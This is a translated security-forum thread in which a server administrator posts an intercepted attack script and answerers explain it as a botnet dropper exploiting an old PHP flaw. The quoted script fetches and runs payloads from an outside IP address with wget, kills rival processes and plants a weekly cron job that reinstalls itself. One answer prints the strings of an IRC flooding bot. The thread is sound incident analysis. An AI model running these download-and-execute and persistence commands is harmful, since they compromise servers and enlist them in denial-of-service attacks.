¿Qué hace esta secuencia de comandos sh si se ejecuta?

13

He interceptado un ataque en mi servidor web que creo que no tuvo éxito. El atacante intentó ejecutar este script:

#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 'pidof .rnd'
kill -9 'pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w'
kill -9 'pidof dev'
kill -9 'pidof perl'
kill -9 'pidof m32'
kill -9 'pidof m64'
kill -9 'pidof ka'
kill -9 'pidof kav'
kill -9 'pidof cla'
kill -9 'pidof sh'
kill -9 'pidof sucrack'
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

Puedo ver que obtiene otros tres scripts sh de wget, los ejecuta, los elimina (posiblemente con fines de seguimiento), elimina algunos procesos, configura un cron para que se ejecute semanalmente y luego lo elimina (?!).

Como podemos ver, mata a Apache y sh a sí mismo. Es raro ya que si Apache y Sh se matan, el ataque ya no funcionará, ¿verdad?

Tengo razones para creer que esta carga útil nunca se ejecutó realmente, porque:

  1. El ataque se intentó con las solicitudes GET. Debido a Apache mod_rewrite, todo lo que obtuvo fue un 404.
  2. El atacante intentaba explotar una vulnerabilidad de backend de PHP, que no se aplica a mí.

¿Todo eso significa que todavía estoy seguro? Creo que hacer un crontab -l comprueba si mi servidor está comprometido. La salida fue:

ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root
    
pregunta Patrick Bassut 15.03.2014 - 21:43
fuente

3 respuestas

19

Descargué la primera URL ( enlace ) y ejecuté

$ file xx
xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

Entonces, es un programa ejecutable destinado a ejecutarse en una máquina Linux. Supongo que está ejecutando un servidor Linux. A continuación, queremos ver qué hace el programa, pero, por supuesto, no desea ejecutarlo. Una forma rápida es ignorar todo el código de instrucciones de la computadora incrustado en el ejecutable, y simplemente mirar qué cadenas legibles para el ser humano pueden contener. Por lo tanto, corrí

$ strings xx | less

[... excerpt ...]
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK <nick>
NOTICE %s :Nick cannot be larger than 9 characters.
NICK %s
NOTICE %s :DISABLE <pass>
Disabled
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE <pass>
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP <target> <port> <secs>
NOTICE %s :Packeting %s.
NOTICE %s :PAN <target> <port> <secs>
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI <target> <secs>
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN <target> <secs>
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC <command>                                    = Sends this command to the server
NOTICE %s :SH <command>                                     = Executes a command
NOTICE %s :Killing pid %d.
TSUNAMI
UNKNOWN
NICK
SERVER
GETSPOOFS

"Habilitado y en espera de órdenes" sugiere que este es un programa que hace que su servidor actúe como un nodo de red de bots.

El siguiente archivo que descarga, enlace , es un script de shell, que a su vez descarga un archivo .tar.gz de enlace (o 32.tgz, dependiendo de la arquitectura de su CPU), luego lo instala y lo ejecuta. Ese archivo contiene tres archivos:

  • Un intérprete de php compilado para Linux
  • Otro ejecutable de Linux llamado pnscan
  • Un script de shell llamado run que inicia pnscan

Lo otro que hace es crear un trabajo cron semanal que descarga y ejecuta enlace , que contiene exactamente el script de shell que publicaste. encima. Básicamente, se reinfectará automáticamente su máquina cada semana a menos que desinstale ese trabajo cron.

Acción recomendada

El código parece que fue creado por guiones para niños. Utiliza herramientas existentes como pnscan , unidas con algunos scripts de shell. No es un código de calidad Stuxnet.

De la información que agregó más tarde (su servidor Apache no tiene soporte de PHP, su servidor Apache todavía se está ejecutando normalmente y no se instaló ningún trabajo cron), parece probable que el código nunca se ejecutó en su servidor. En ese caso, probablemente estés bien! Ejecute ps ax para verificar si se está ejecutando algo sospechoso, y debería estar bien.

    
respondido por el 200_success 15.03.2014 - 22:27
fuente
4

Consulte esta publicación del blog para obtener todos los detalles :

  

Desde que se descubrió la vulnerabilidad en Apache / PHP, que permitió que se ejecutara el código PHP mediante una solicitud HTTP POST simple, se lanzaron ataques automatizados que llevaron a un gran número de hosts comprometidos.

     

Esos ataques han disminuido durante los últimos meses, sin embargo, uno de estos ataques automatizados fue particularmente interesante debido al hecho de que el enfoque utilizado se puede clasificar como gusano. Analicemos todo el ataque en un nivel superior antes de entrar en la parte técnica.

     

El actor utilizó el exploit publicado por kingcope [exploit-db] con una carga útil modificada que descargó algunos scripts y binarios que a su vez comenzaron a escanear un bloque A aleatorio de direcciones IPv4. Si se encuentra que un host está ejecutando Apache, los intentos de explotación se iniciarían y todo el proceso comienza de nuevo. Estos ataques fueron vistos por primera vez alrededor de noviembre de 2013.

Basado en la información resumida, parece ser una especie de botnet que funciona a partir de las vulnerabilidades mencionadas anteriormente.

    
respondido por el Thebluefish 15.03.2014 - 22:37
fuente
1

este es un agente de botnets simple, sorprendentemente poco interesante.

Básicamente, selecciona un rango de direcciones aleatorias y escanea servidores HTTP escuchados usando pnscan . Luego intenta explotar una antigua vulnerabilidad de PHP en el host que encuentra . Y luego desde allí se replica a otros servidores.

    
respondido por el tylerl 16.03.2014 - 02:15
fuente

Lea otras preguntas en las etiquetas